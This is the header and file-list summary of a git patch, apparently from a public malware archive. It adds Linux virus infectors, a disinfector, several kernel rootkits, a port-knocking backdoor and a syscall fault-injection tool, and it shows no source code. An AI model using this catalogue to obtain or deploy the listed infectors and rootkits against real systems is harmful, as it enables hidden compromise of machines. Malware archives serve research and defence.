From 32598fde0fbf899d7530628e3e17ce82db7a06bc Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Fri, 14 Jan 2022 04:09:54 -0600 Subject: [PATCH] Update --- Linux/Infectors/Cranky-data/LICENSE | 21 + Linux/Infectors/Cranky-data/README.md | 21 + .../Cranky-data/cranky_data_virus.asm | 344 +++ Linux/Infectors/Skeksi/Makefile | 7 + Linux/Infectors/Skeksi/README.md | 46 + Linux/Infectors/Skeksi/disinfect/Makefile | 4 + Linux/Infectors/Skeksi/disinfect/disinfect.c | 359 +++ Linux/Infectors/Skeksi/virus.c | 1742 +++++++++++ .../.github/workflows/ubuntu-latest.yml | 26 + .../Rootkit Techniques/DrawBridge/.gitignore | 6 + Linux/Rootkit Techniques/DrawBridge/LICENSE | 674 +++++ Linux/Rootkit Techniques/DrawBridge/README.md | 185 ++ .../DrawBridge/ansible/main.yml | 4 + .../ansible/roles/drawbridge/README.md | 38 + .../roles/drawbridge/defaults/main.yml | 10 + .../roles/drawbridge/handlers/main.yml | 2 + .../ansible/roles/drawbridge/meta/main.yml | 53 + .../ansible/roles/drawbridge/tasks/cargo.yml | 31 + .../roles/drawbridge/tasks/drawbridge.yml | 107 + .../ansible/roles/drawbridge/tasks/main.yml | 23 + .../ansible/roles/drawbridge/tests/inventory | 3 + .../ansible/roles/drawbridge/tests/test.yml | 5 + .../roles/drawbridge/tests/test_drawbridge.py | 60 + .../ansible/roles/drawbridge/vars/main.yml | 6 + .../DrawBridge/img/example.gif | Bin 0 -> 388515 bytes .../DrawBridge/img/logo.PNG | Bin 0 -> 8928 bytes .../DrawBridge/kernel/.clang-format | 553 ++++ .../DrawBridge/kernel/Makefile | 28 + .../DrawBridge/kernel/compat.h | 75 + .../DrawBridge/kernel/drawbridge.h | 122 + .../DrawBridge/kernel/utils.c | 70 + .../DrawBridge/kernel/xt_crypto.c | 299 ++ .../DrawBridge/kernel/xt_hook.c | 284 ++ .../DrawBridge/kernel/xt_listen.c | 393 +++ .../DrawBridge/kernel/xt_state.c | 318 +++ .../DrawBridge/tools/Cargo.toml | 33 + .../DrawBridge/tools/README.md | 177 ++ .../DrawBridge/tools/src/crypto.rs | 155 + .../DrawBridge/tools/src/drawbridge.rs | 87 + .../DrawBridge/tools/src/main.rs | 344 +++ .../DrawBridge/tools/src/protocols.rs | 129 + .../DrawBridge/tools/src/route.rs | 53 + .../.cirrus.yml | 6 + .../.clang-format | 109 + .../.editorconfig | 13 + .../.github/workflows/ci.yml | 41 + .../Kernelspace Randomized Faulter/.gitignore | 21 + .../Kernelspace Randomized Faulter/LICENSE | 674 +++++ .../Kernelspace Randomized Faulter/Makefile | 61 + .../Kernelspace Randomized Faulter/README.md | 258 ++ .../Vagrantfile | 39 + .../src/common/common.h | 27 + .../src/krfctl/Makefile | 22 + .../src/krfctl/freebsd/freebsd.c | 106 + .../src/krfctl/genprofiles | 67 + .../src/krfctl/gentable | 71 + .../src/krfctl/krfctl.c | 148 + .../src/krfctl/krfctl.h | 28 + .../src/krfctl/linux/linux.c | 150 + .../src/krfctl/profiles.yml | 10 + .../src/krfexec/Makefile | 11 + .../src/krfexec/freebsd/freebsd.c | 25 + .../src/krfexec/krfexec.c | 32 + .../src/krfexec/krfexec.h | 10 + .../src/krfexec/linux/linux.c | 51 + .../src/krfmesg/Makefile | 11 + .../src/krfmesg/freebsd/krfmesg.c | 7 + .../src/krfmesg/krfmesg.c | 5 + .../src/krfmesg/linux/krfmesg.c | 93 + .../src/module/codegen/freebsd/__getcwd.yml | 6 + .../src/module/codegen/freebsd/__semctl.yml | 5 + .../src/module/codegen/freebsd/__setugid.yml | 4 + .../src/module/codegen/freebsd/accept.yml | 15 + .../src/module/codegen/freebsd/accept4.yml | 16 + .../src/module/codegen/freebsd/access.yml | 15 + .../src/module/codegen/freebsd/acct.yml | 14 + .../src/module/codegen/freebsd/adjtime.yml | 7 + .../src/module/codegen/freebsd/aio_cancel.yml | 6 + .../src/module/codegen/freebsd/aio_error.yml | 6 + .../src/module/codegen/freebsd/aio_fsync.yml | 10 + .../src/module/codegen/freebsd/aio_mlock.yml | 7 + .../src/module/codegen/freebsd/aio_read.yml | 11 + .../src/module/codegen/freebsd/aio_return.yml | 6 + .../module/codegen/freebsd/aio_suspend.yml | 8 + .../codegen/freebsd/aio_waitcomplete.yml | 10 + .../src/module/codegen/freebsd/aio_write.yml | 10 + .../src/module/codegen/freebsd/audit.yml | 8 + .../src/module/codegen/freebsd/auditctl.yml | 8 + .../src/module/codegen/freebsd/auditon.yml | 9 + .../src/module/codegen/freebsd/bind.yml | 21 + .../src/module/codegen/freebsd/bindat.yml | 7 + .../src/module/codegen/freebsd/chdir.yml | 12 + .../src/module/codegen/freebsd/chflags.yml | 15 + .../src/module/codegen/freebsd/chflagsat.yml | 15 + .../src/module/codegen/freebsd/chmod.yml | 15 + .../src/module/codegen/freebsd/chown.yml | 14 + .../src/module/codegen/freebsd/chroot.yml | 13 + .../codegen/freebsd/clock_getcpuclockid2.yml | 7 + .../module/codegen/freebsd/clock_getres.yml | 7 + .../module/codegen/freebsd/clock_gettime.yml | 7 + .../codegen/freebsd/clock_nanosleep.yml | 11 + .../module/codegen/freebsd/clock_settime.yml | 7 + .../src/module/codegen/freebsd/close.yml | 11 + .../src/module/codegen/freebsd/closefrom.yml | 11 + .../src/module/codegen/freebsd/codegen | 120 + .../src/module/codegen/freebsd/connect.yml | 28 + .../src/module/codegen/freebsd/connectat.yml | 7 + .../src/module/codegen/freebsd/cpuset.yml | 11 + .../codegen/freebsd/cpuset_getaffinity.yml | 12 + .../codegen/freebsd/cpuset_getdomain.yml | 12 + .../module/codegen/freebsd/cpuset_getid.yml | 11 + .../codegen/freebsd/cpuset_setaffinity.yml | 12 + .../codegen/freebsd/cpuset_setdomain.yml | 12 + .../module/codegen/freebsd/cpuset_setid.yml | 11 + .../src/module/codegen/freebsd/dup.yml | 5 + .../src/module/codegen/freebsd/dup2.yml | 4 + .../src/module/codegen/freebsd/eaccess.yml | 15 + .../src/module/codegen/freebsd/execve.yml | 17 + .../src/module/codegen/freebsd/faccessat.yml | 18 + .../src/module/codegen/freebsd/fchdir.yml | 8 + .../src/module/codegen/freebsd/fchflags.yml | 11 + .../src/module/codegen/freebsd/fchmod.yml | 9 + .../src/module/codegen/freebsd/fchmodat.yml | 18 + .../src/module/codegen/freebsd/fchown.yml | 10 + .../src/module/codegen/freebsd/fchownat.yml | 17 + .../src/module/codegen/freebsd/fcntl.yml | 17 + .../src/module/codegen/freebsd/fdatasync.yml | 8 + .../src/module/codegen/freebsd/fexecve.yml | 18 + .../codegen/freebsd/ffclock_getcounter.yml | 7 + .../codegen/freebsd/ffclock_getestimate.yml | 7 + .../codegen/freebsd/ffclock_setestimate.yml | 7 + .../src/module/codegen/freebsd/fhopen.yml | 32 + .../src/module/codegen/freebsd/fhstat.yml | 32 + .../src/module/codegen/freebsd/fhstatfs.yml | 32 + .../src/module/codegen/freebsd/flock.yml | 10 + .../src/module/codegen/freebsd/fork.yml | 7 + .../src/module/codegen/freebsd/fpathconf.yml | 8 + .../src/module/codegen/freebsd/fstat.yml | 9 + .../src/module/codegen/freebsd/fstatat.yml | 15 + .../src/module/codegen/freebsd/fstatfs.yml | 8 + .../src/module/codegen/freebsd/fsync.yml | 8 + .../src/module/codegen/freebsd/ftruncate.yml | 7 + .../src/module/codegen/freebsd/futimens.yml | 13 + .../src/module/codegen/freebsd/futimes.yml | 17 + .../src/module/codegen/freebsd/futimesat.yml | 16 + .../src/module/codegen/freebsd/getaudit.yml | 10 + .../src/module/codegen/freebsd/getauid.yml | 7 + .../module/codegen/freebsd/getdirentries.yml | 9 + .../src/module/codegen/freebsd/getfh.yml | 12 + .../src/module/codegen/freebsd/getfsstat.yml | 8 + .../src/module/codegen/freebsd/getgroups.yml | 7 + .../src/module/codegen/freebsd/getitimer.yml | 7 + .../src/module/codegen/freebsd/getlogin.yml | 7 + .../module/codegen/freebsd/getloginclass.yml | 7 + .../module/codegen/freebsd/getpeername.yml | 12 + .../src/module/codegen/freebsd/getpgid.yml | 4 + .../module/codegen/freebsd/getpriority.yml | 7 + .../src/module/codegen/freebsd/getrandom.yml | 7 + .../src/module/codegen/freebsd/getresgid.yml | 5 + .../src/module/codegen/freebsd/getresuid.yml | 5 + .../src/module/codegen/freebsd/getrusage.yml | 5 + .../src/module/codegen/freebsd/getsid.yml | 6 + .../module/codegen/freebsd/getsockname.yml | 11 + .../src/module/codegen/freebsd/getsockopt.yml | 11 + .../module/codegen/freebsd/gettimeofday.yml | 7 + .../src/module/codegen/freebsd/ioctl.yml | 9 + .../src/module/codegen/freebsd/jail.yml | 16 + .../module/codegen/freebsd/jail_attach.yml | 14 + .../src/module/codegen/freebsd/jail_get.yml | 8 + .../module/codegen/freebsd/jail_remove.yml | 7 + .../src/module/codegen/freebsd/jail_set.yml | 14 + .../src/module/codegen/freebsd/kenv.yml | 8 + .../src/module/codegen/freebsd/kevent.yml | 12 + .../src/module/codegen/freebsd/kill.yml | 8 + .../src/module/codegen/freebsd/kqueue.yml | 6 + .../src/module/codegen/freebsd/lchflags.yml | 15 + .../src/module/codegen/freebsd/lchmod.yml | 15 + .../src/module/codegen/freebsd/lchown.yml | 14 + .../src/module/codegen/freebsd/lgetfh.yml | 12 + .../src/module/codegen/freebsd/link.yml | 21 + .../src/module/codegen/freebsd/linkat.yml | 24 + .../src/module/codegen/freebsd/lio_listio.yml | 14 + .../src/module/codegen/freebsd/listen.yml | 10 + .../src/module/codegen/freebsd/lpathconf.yml | 11 + .../src/module/codegen/freebsd/lseek.yml | 8 + .../src/module/codegen/freebsd/lutimes.yml | 15 + .../src/module/codegen/freebsd/madvise.yml | 8 + .../src/module/codegen/freebsd/mincore.yml | 5 + .../src/module/codegen/freebsd/minherit.yml | 5 + .../src/module/codegen/freebsd/mkdir.yml | 17 + .../src/module/codegen/freebsd/mkdirat.yml | 19 + .../src/module/codegen/freebsd/mkfifo.yml | 16 + .../src/module/codegen/freebsd/mkfifoat.yml | 17 + .../src/module/codegen/freebsd/mknodat.yml | 17 + .../src/module/codegen/freebsd/mlock.yml | 9 + .../src/module/codegen/freebsd/mlockall.yml | 9 + .../src/module/codegen/freebsd/mmap.yml | 9 + .../src/module/codegen/freebsd/modfind.yml | 5 + .../src/module/codegen/freebsd/modstat.yml | 6 + .../src/module/codegen/freebsd/mount.yml | 22 + .../src/module/codegen/freebsd/mprotect.yml | 7 + .../src/module/codegen/freebsd/msgctl.yml | 7 + .../src/module/codegen/freebsd/msgget.yml | 7 + .../src/module/codegen/freebsd/msgrcv.yml | 9 + .../src/module/codegen/freebsd/msgsnd.yml | 8 + .../src/module/codegen/freebsd/msync.yml | 10 + .../src/module/codegen/freebsd/munlock.yml | 8 + .../src/module/codegen/freebsd/munlockall.yml | 9 + .../src/module/codegen/freebsd/munmap.yml | 6 + .../src/module/codegen/freebsd/nanosleep.yml | 11 + .../src/module/codegen/freebsd/nfssvc.yml | 7 + .../src/module/codegen/freebsd/nmount.yml | 22 + .../src/module/codegen/freebsd/open.yml | 31 + .../src/module/codegen/freebsd/openat.yml | 31 + .../src/module/codegen/freebsd/pathconf.yml | 12 + .../src/module/codegen/freebsd/pdfork.yml | 9 + .../src/module/codegen/freebsd/pdgetpid.yml | 5 + .../src/module/codegen/freebsd/pdkill.yml | 7 + .../src/module/codegen/freebsd/pipe2.yml | 10 + .../src/module/codegen/freebsd/poll.yml | 8 + .../module/codegen/freebsd/posix_fadvise.yml | 8 + .../codegen/freebsd/posix_fallocate.yml | 12 + .../module/codegen/freebsd/posix_openpt.yml | 6 + .../src/module/codegen/freebsd/ppoll.yml | 8 + .../src/module/codegen/freebsd/pread.yml | 16 + .../src/module/codegen/freebsd/preadv.yml | 17 + .../src/module/codegen/freebsd/procctl.yml | 11 + .../src/module/codegen/freebsd/profil.yml | 4 + .../src/module/codegen/freebsd/pselect.yml | 10 + .../src/module/codegen/freebsd/ptrace.yml | 11 + .../src/module/codegen/freebsd/pwrite.yml | 16 + .../src/module/codegen/freebsd/pwritev.yml | 19 + .../src/module/codegen/freebsd/quotactl.yml | 17 + .../module/codegen/freebsd/rctl_add_rule.yml | 11 + .../codegen/freebsd/rctl_get_limits.yml | 11 + .../module/codegen/freebsd/rctl_get_racct.yml | 11 + .../module/codegen/freebsd/rctl_get_rules.yml | 11 + .../codegen/freebsd/rctl_remove_rule.yml | 11 + .../src/module/codegen/freebsd/read.yml | 15 + .../src/module/codegen/freebsd/readlink.yml | 13 + .../src/module/codegen/freebsd/readlinkat.yml | 14 + .../src/module/codegen/freebsd/readv.yml | 16 + .../src/module/codegen/freebsd/reboot.yml | 4 + .../src/module/codegen/freebsd/recvfrom.yml | 13 + .../src/module/codegen/freebsd/recvmsg.yml | 13 + .../src/module/codegen/freebsd/rename.yml | 20 + .../src/module/codegen/freebsd/renameat.yml | 24 + .../src/module/codegen/freebsd/revoke.yml | 13 + .../src/module/codegen/freebsd/rfork.yml | 8 + .../src/module/codegen/freebsd/rmdir.yml | 18 + .../src/module/codegen/freebsd/rtprio.yml | 7 + .../module/codegen/freebsd/rtprio_thread.yml | 7 + .../src/module/codegen/freebsd/sbrk.yml | 7 + .../freebsd/sched_get_priority_max.yml | 6 + .../freebsd/sched_get_priority_min.yml | 6 + .../module/codegen/freebsd/sched_getparam.yml | 7 + .../codegen/freebsd/sched_getscheduler.yml | 7 + .../codegen/freebsd/sched_rr_get_interval.yml | 6 + .../module/codegen/freebsd/sched_setparam.yml | 7 + .../codegen/freebsd/sched_setscheduler.yml | 7 + .../module/codegen/freebsd/sched_yield.yml | 6 + .../src/module/codegen/freebsd/select.yml | 9 + .../src/module/codegen/freebsd/semget.yml | 10 + .../src/module/codegen/freebsd/semop.yml | 14 + .../src/module/codegen/freebsd/sendfile.yml | 19 + .../src/module/codegen/freebsd/sendmsg.yml | 19 + .../src/module/codegen/freebsd/sendto.yml | 19 + .../src/module/codegen/freebsd/setegid.yml | 4 + .../src/module/codegen/freebsd/seteuid.yml | 4 + .../src/module/codegen/freebsd/setfib.yml | 4 + .../src/module/codegen/freebsd/setgid.yml | 4 + .../src/module/codegen/freebsd/setgroups.yml | 6 + .../src/module/codegen/freebsd/setitimer.yml | 7 + .../src/module/codegen/freebsd/setlogin.yml | 7 + .../module/codegen/freebsd/setloginclass.yml | 7 + .../src/module/codegen/freebsd/setpgid.yml | 8 + .../module/codegen/freebsd/setpriority.yml | 9 + .../src/module/codegen/freebsd/setregid.yml | 4 + .../src/module/codegen/freebsd/setresgid.yml | 5 + .../src/module/codegen/freebsd/setresuid.yml | 5 + .../src/module/codegen/freebsd/setreuid.yml | 4 + .../src/module/codegen/freebsd/setsid.yml | 4 + .../src/module/codegen/freebsd/setsockopt.yml | 11 + .../module/codegen/freebsd/settimeofday.yml | 7 + .../src/module/codegen/freebsd/setuid.yml | 4 + .../src/module/codegen/freebsd/shm_open.yml | 14 + .../src/module/codegen/freebsd/shm_unlink.yml | 9 + .../src/module/codegen/freebsd/shmat.yml | 7 + .../src/module/codegen/freebsd/shmctl.yml | 8 + .../src/module/codegen/freebsd/shmdt.yml | 6 + .../src/module/codegen/freebsd/shmget.yml | 9 + .../src/module/codegen/freebsd/shutdown.yml | 7 + .../src/module/codegen/freebsd/sigaction.yml | 4 + .../module/codegen/freebsd/sigaltstack.yml | 7 + .../src/module/codegen/freebsd/sigpending.yml | 4 + .../module/codegen/freebsd/sigprocmask.yml | 4 + .../src/module/codegen/freebsd/sigqueue.yml | 7 + .../src/module/codegen/freebsd/sigreturn.yml | 5 + .../src/module/codegen/freebsd/sigsuspend.yml | 4 + .../module/codegen/freebsd/sigtimedwait.yml | 6 + .../src/module/codegen/freebsd/sigwait.yml | 4 + .../module/codegen/freebsd/sigwaitinfo.yml | 4 + .../src/module/codegen/freebsd/socket.yml | 13 + .../src/module/codegen/freebsd/socketpair.yml | 10 + .../src/module/codegen/freebsd/statfs.yml | 12 + .../src/module/codegen/freebsd/swapoff.yml | 14 + .../src/module/codegen/freebsd/swapon.yml | 16 + .../src/module/codegen/freebsd/symlink.yml | 18 + .../src/module/codegen/freebsd/symlinkat.yml | 20 + .../src/module/codegen/freebsd/thr_new.yml | 8 + .../src/module/codegen/freebsd/truncate.yml | 18 + .../src/module/codegen/freebsd/undelete.yml | 16 + .../src/module/codegen/freebsd/unlink.yml | 16 + .../src/module/codegen/freebsd/unlinkat.yml | 21 + .../src/module/codegen/freebsd/unmount.yml | 12 + .../src/module/codegen/freebsd/utimensat.yml | 17 + .../src/module/codegen/freebsd/utimes.yml | 15 + .../src/module/codegen/freebsd/utrace.yml | 8 + .../src/module/codegen/freebsd/uuidgen.yml | 5 + .../src/module/codegen/freebsd/wait4.yml | 9 + .../src/module/codegen/freebsd/wait6.yml | 9 + .../src/module/codegen/freebsd/write.yml | 16 + .../src/module/codegen/freebsd/writev.yml | 18 + .../src/module/codegen/linux/accept.yml | 24 + .../src/module/codegen/linux/access.yml | 16 + .../src/module/codegen/linux/adjtimex.yml | 8 + .../src/module/codegen/linux/bind.yml | 18 + .../src/module/codegen/linux/brk.yml | 6 + .../src/module/codegen/linux/chdir.yml | 13 + .../src/module/codegen/linux/chmod.yml | 15 + .../src/module/codegen/linux/chown.yml | 14 + .../src/module/codegen/linux/chroot.yml | 14 + .../module/codegen/linux/clock_adjtime.yml | 7 + .../src/module/codegen/linux/clock_getres.yml | 7 + .../module/codegen/linux/clock_gettime.yml | 8 + .../module/codegen/linux/clock_nanosleep.yml | 8 + .../module/codegen/linux/clock_settime.yml | 8 + .../src/module/codegen/linux/clone.yml | 12 + .../src/module/codegen/linux/close.yml | 16 + .../src/module/codegen/linux/codegen | 137 + .../src/module/codegen/linux/connect.yml | 22 + .../src/module/codegen/linux/creat.yml | 35 + .../src/module/codegen/linux/dup.yml | 8 + .../src/module/codegen/linux/dup2.yml | 8 + .../src/module/codegen/linux/faccessat.yml | 17 + .../src/module/codegen/linux/fchdir.yml | 7 + .../src/module/codegen/linux/fchmod.yml | 9 + .../src/module/codegen/linux/fchmodat.yml | 18 + .../src/module/codegen/linux/fchown.yml | 10 + .../src/module/codegen/linux/fchownat.yml | 17 + .../src/module/codegen/linux/fcntl.yml | 15 + .../src/module/codegen/linux/fdatasync.yml | 10 + .../src/module/codegen/linux/flock.yml | 10 + .../src/module/codegen/linux/fork.yml | 8 + .../src/module/codegen/linux/fstat.yml | 9 + .../src/module/codegen/linux/fstatfs.yml | 12 + .../src/module/codegen/linux/fsync.yml | 13 + .../src/module/codegen/linux/ftruncate.yml | 19 + .../src/module/codegen/linux/getcpu.yml | 6 + .../src/module/codegen/linux/getcwd.yml | 12 + .../src/module/codegen/linux/getpeername.yml | 11 + .../src/module/codegen/linux/getpgid.yml | 4 + .../src/module/codegen/linux/getpriority.yml | 7 + .../src/module/codegen/linux/getresgid.yml | 4 + .../src/module/codegen/linux/getresuid.yml | 4 + .../src/module/codegen/linux/getsid.yml | 5 + .../src/module/codegen/linux/getsockname.yml | 10 + .../src/module/codegen/linux/getsockopt.yml | 10 + .../src/module/codegen/linux/gettimeofday.yml | 8 + .../src/module/codegen/linux/ioctl.yml | 9 + .../src/module/codegen/linux/ioperm.yml | 10 + .../src/module/codegen/linux/kill.yml | 8 + .../src/module/codegen/linux/lchown.yml | 14 + .../src/module/codegen/linux/link.yml | 20 + .../src/module/codegen/linux/linkat.yml | 22 + .../src/module/codegen/linux/listen.yml | 9 + .../src/module/codegen/linux/lstat.yml | 13 + .../src/module/codegen/linux/madvise.yml | 12 + .../src/module/codegen/linux/mincore.yml | 9 + .../src/module/codegen/linux/mkdir.yml | 19 + .../src/module/codegen/linux/mknod.yml | 18 + .../src/module/codegen/linux/mknodat.yml | 19 + .../src/module/codegen/linux/mlock.yml | 9 + .../src/module/codegen/linux/mlock2.yml | 9 + .../src/module/codegen/linux/mlockall.yml | 8 + .../src/module/codegen/linux/mmap_pgoff.yml | 18 + .../src/module/codegen/linux/mount.yml | 19 + .../src/module/codegen/linux/mprotect.yml | 8 + .../module/codegen/linux/mq_getsetattr.yml | 7 + .../src/module/codegen/linux/mq_notify.yml | 9 + .../src/module/codegen/linux/mq_open.yml | 14 + .../module/codegen/linux/mq_timedreceive.yml | 11 + .../src/module/codegen/linux/mq_timedsend.yml | 11 + .../src/module/codegen/linux/mq_unlink.yml | 8 + .../src/module/codegen/linux/mremap.yml | 9 + .../src/module/codegen/linux/msgctl.yml | 10 + .../src/module/codegen/linux/msgget.yml | 10 + .../src/module/codegen/linux/msgrcv.yml | 13 + .../src/module/codegen/linux/msgsnd.yml | 12 + .../src/module/codegen/linux/msync.yml | 8 + .../src/module/codegen/linux/munlock.yml | 9 + .../src/module/codegen/linux/munlockall.yml | 6 + .../src/module/codegen/linux/munmap.yml | 6 + .../src/module/codegen/linux/newfstatat.yml | 11 + .../src/module/codegen/linux/open.yml | 35 + .../src/module/codegen/linux/openat.yml | 35 + .../src/module/codegen/linux/pipe.yml | 8 + .../src/module/codegen/linux/pivot_root.yml | 10 + .../src/module/codegen/linux/prctl.yml | 16 + .../src/module/codegen/linux/pread64.yml | 18 + .../src/module/codegen/linux/preadv.yml | 18 + .../src/module/codegen/linux/pwrite64.yml | 18 + .../src/module/codegen/linux/pwritev.yml | 18 + .../src/module/codegen/linux/read.yml | 15 + .../src/module/codegen/linux/readahead.yml | 8 + .../src/module/codegen/linux/readlink.yml | 14 + .../src/module/codegen/linux/readlinkat.yml | 15 + .../src/module/codegen/linux/readv.yml | 18 + .../src/module/codegen/linux/reboot.yml | 8 + .../src/module/codegen/linux/recvfrom.yml | 15 + .../src/module/codegen/linux/recvmsg.yml | 15 + .../src/module/codegen/linux/rename.yml | 23 + .../src/module/codegen/linux/renameat.yml | 24 + .../src/module/codegen/linux/renameat2.yml | 24 + .../src/module/codegen/linux/rmdir.yml | 17 + .../src/module/codegen/linux/rt_sigaction.yml | 7 + .../module/codegen/linux/rt_sigpending.yml | 6 + .../module/codegen/linux/rt_sigprocmask.yml | 7 + .../module/codegen/linux/rt_sigqueueinfo.yml | 9 + .../module/codegen/linux/rt_sigsuspend.yml | 7 + .../module/codegen/linux/rt_sigtimedwait.yml | 8 + .../codegen/linux/sched_get_priority_max.yml | 7 + .../codegen/linux/sched_get_priority_min.yml | 7 + .../codegen/linux/sched_getaffinity.yml | 10 + .../module/codegen/linux/sched_getattr.yml | 11 + .../module/codegen/linux/sched_getparam.yml | 9 + .../codegen/linux/sched_getscheduler.yml | 9 + .../codegen/linux/sched_rr_get_interval.yml | 10 + .../codegen/linux/sched_setaffinity.yml | 10 + .../module/codegen/linux/sched_setattr.yml | 11 + .../module/codegen/linux/sched_setparam.yml | 9 + .../codegen/linux/sched_setscheduler.yml | 9 + .../src/module/codegen/linux/select.yml | 9 + .../src/module/codegen/linux/semctl.yml | 11 + .../src/module/codegen/linux/semget.yml | 11 + .../src/module/codegen/linux/semop.yml | 15 + .../src/module/codegen/linux/sendmsg.yml | 23 + .../src/module/codegen/linux/sendto.yml | 23 + .../module/codegen/linux/setdomainname.yml | 10 + .../src/module/codegen/linux/setgid.yml | 5 + .../src/module/codegen/linux/sethostname.yml | 11 + .../src/module/codegen/linux/setpgid.yml | 7 + .../src/module/codegen/linux/setpriority.yml | 9 + .../src/module/codegen/linux/setregid.yml | 6 + .../src/module/codegen/linux/setresgid.yml | 6 + .../src/module/codegen/linux/setresuid.yml | 6 + .../src/module/codegen/linux/setreuid.yml | 6 + .../src/module/codegen/linux/setsid.yml | 3 + .../src/module/codegen/linux/setsockopt.yml | 10 + .../src/module/codegen/linux/settimeofday.yml | 8 + .../src/module/codegen/linux/setuid.yml | 6 + .../src/module/codegen/linux/shmat.yml | 9 + .../src/module/codegen/linux/shmctl.yml | 12 + .../src/module/codegen/linux/shmdt.yml | 6 + .../src/module/codegen/linux/shmget.yml | 13 + .../src/module/codegen/linux/shutdown.yml | 9 + .../src/module/codegen/linux/sigaltstack.yml | 9 + .../src/module/codegen/linux/socket.yml | 13 + .../src/module/codegen/linux/socketpair.yml | 11 + .../src/module/codegen/linux/stat.yml | 13 + .../src/module/codegen/linux/statfs.yml | 16 + .../src/module/codegen/linux/swapoff.yml | 10 + .../src/module/codegen/linux/swapon.yml | 11 + .../src/module/codegen/linux/symlink.yml | 18 + .../src/module/codegen/linux/symlinkat.yml | 19 + .../src/module/codegen/linux/syncfs.yml | 6 + .../src/module/codegen/linux/sysctl.yml | 11 + .../src/module/codegen/linux/sysfs.yml | 7 + .../src/module/codegen/linux/syslog.yml | 7 + .../src/module/codegen/linux/tgkill.yml | 7 + .../src/module/codegen/linux/time.yml | 7 + .../src/module/codegen/linux/timer_create.yml | 8 + .../src/module/codegen/linux/timer_delete.yml | 6 + .../module/codegen/linux/timer_getoverrun.yml | 6 + .../module/codegen/linux/timer_gettime.yml | 7 + .../module/codegen/linux/timer_settime.yml | 7 + .../module/codegen/linux/timerfd_create.yml | 12 + .../module/codegen/linux/timerfd_gettime.yml | 8 + .../module/codegen/linux/timerfd_settime.yml | 8 + .../src/module/codegen/linux/tkill.yml | 9 + .../src/module/codegen/linux/truncate.yml | 19 + .../src/module/codegen/linux/umount.yml | 14 + .../src/module/codegen/linux/unlink.yml | 17 + .../src/module/codegen/linux/unlinkat.yml | 19 + .../src/module/codegen/linux/uselib.yml | 8 + .../src/module/codegen/linux/ustat.yml | 8 + .../src/module/codegen/linux/utime.yml | 7 + .../src/module/codegen/linux/vhangup.yml | 7 + .../src/module/codegen/linux/wait4.yml | 8 + .../src/module/codegen/linux/waitid.yml | 8 + .../src/module/codegen/linux/write.yml | 15 + .../src/module/codegen/linux/writev.yml | 18 + .../src/module/config.c | 8 + .../src/module/config.h | 25 + .../src/module/freebsd/Makefile | 35 + .../src/module/freebsd/Makefile.module | 10 + .../src/module/freebsd/freebsd.h | 10 + .../src/module/freebsd/krf.c | 124 + .../src/module/freebsd/syscalls.c | 19 + .../src/module/freebsd/syscalls.h | 19 + .../src/module/freebsd/syscalls/internal.h | 42 + .../src/module/freebsd/targeting.h | 92 + .../src/module/krf.c | 68 + .../src/module/krf.h | 6 + .../src/module/linux/Makefile | 45 + .../src/module/linux/krf.c | 378 +++ .../src/module/linux/linux.h | 25 + .../src/module/linux/netlink.c | 41 + .../src/module/linux/netlink.h | 8 + .../src/module/linux/syscalls.c | 11 + .../src/module/linux/syscalls.h | 41 + .../src/module/linux/syscalls/internal.h | 34 + .../src/module/linux/targeting.h | 28 + .../src/module/targeting.h | 55 + Linux/Rootkits/Adore-ng/.gitignore | 29 + Linux/Rootkits/Adore-ng/LICENSE | 340 +++ Linux/Rootkits/Adore-ng/Makefile | 43 + Linux/Rootkits/Adore-ng/README.md | 4 + Linux/Rootkits/Adore-ng/adore-ng.c | 932 ++++++ Linux/Rootkits/Adore-ng/adore-ng.h | 63 + Linux/Rootkits/Adore-ng/ava.c | 146 + Linux/Rootkits/Adore-ng/libinvisible.c | 183 ++ Linux/Rootkits/Adore-ng/libinvisible.h | 74 + Linux/Rootkits/Cub3/README.md | 54 + Linux/Rootkits/Cub3/config.h | 10 + Linux/Rootkits/Cub3/cub3.c | 734 +++++ Linux/Rootkits/Cub3/install.sh | 64 + Linux/Rootkits/Enyelkm/.github/FUNDING.yml | 5 + Linux/Rootkits/Enyelkm/LEEME.txt | 128 + Linux/Rootkits/Enyelkm/LICENSE | 22 + Linux/Rootkits/Enyelkm/Makefile | 63 + Linux/Rootkits/Enyelkm/README.md | 179 ++ Linux/Rootkits/Enyelkm/VERSIONS | 18 + Linux/Rootkits/Enyelkm/base.c | 367 +++ Linux/Rootkits/Enyelkm/conectar.c | 293 ++ Linux/Rootkits/Enyelkm/config.h | 22 + Linux/Rootkits/Enyelkm/kill.c | 63 + Linux/Rootkits/Enyelkm/kill.h | 4 + Linux/Rootkits/Enyelkm/ls.c | 205 ++ Linux/Rootkits/Enyelkm/ls.h | 7 + Linux/Rootkits/Enyelkm/nat.png | Bin 0 -> 16022 bytes Linux/Rootkits/Enyelkm/read.c | 194 ++ Linux/Rootkits/Enyelkm/read.h | 6 + Linux/Rootkits/Enyelkm/remoto.c | 430 +++ Linux/Rootkits/Enyelkm/remoto.h | 116 + Linux/Rootkits/Enyelkm/syscalls.h | 81 + .../Nurupo Rootkit/.github/FUNDING.yml | 27 + Linux/Rootkits/Nurupo Rootkit/LICENSE | 339 +++ Linux/Rootkits/Nurupo Rootkit/Makefile | 11 + Linux/Rootkits/Nurupo Rootkit/README.md | 115 + Linux/Rootkits/Nurupo Rootkit/client.c | 261 ++ Linux/Rootkits/Nurupo Rootkit/config.h | 29 + Linux/Rootkits/Nurupo Rootkit/rootkit.c | 1001 +++++++ Linux/Rootkits/Randkit/.gitignore | 32 + Linux/Rootkits/Randkit/LICENSE | 674 +++++ Linux/Rootkits/Randkit/Makefile | 9 + Linux/Rootkits/Randkit/README.md | 174 ++ Linux/Rootkits/Randkit/examples/Makefile | 2 + Linux/Rootkits/Randkit/examples/example.sh | 36 + Linux/Rootkits/Randkit/examples/original.txt | 39 + Linux/Rootkits/Randkit/examples/unrandom.py | 101 + Linux/Rootkits/Randkit/fops/Makefile | 11 + Linux/Rootkits/Randkit/fops/randkit_fops.c | 149 + Linux/Rootkits/Randkit/tests/Makefile | 10 + Linux/Rootkits/Randkit/tests/fdrandom.c | 21 + Linux/Rootkits/Randkit/tests/getrandom.c | 29 + Linux/Rootkits/Randkit/tests/writefdrandom.c | 21 + Linux/Rootkits/Randkit/tests/xor128.c | 39 + Linux/Rootkits/Randkit/xor128/Makefile | 12 + .../Rootkits/Randkit/xor128/randkit_xor128.c | 347 +++ Linux/Rootkits/Randkit/zero/Makefile | 12 + 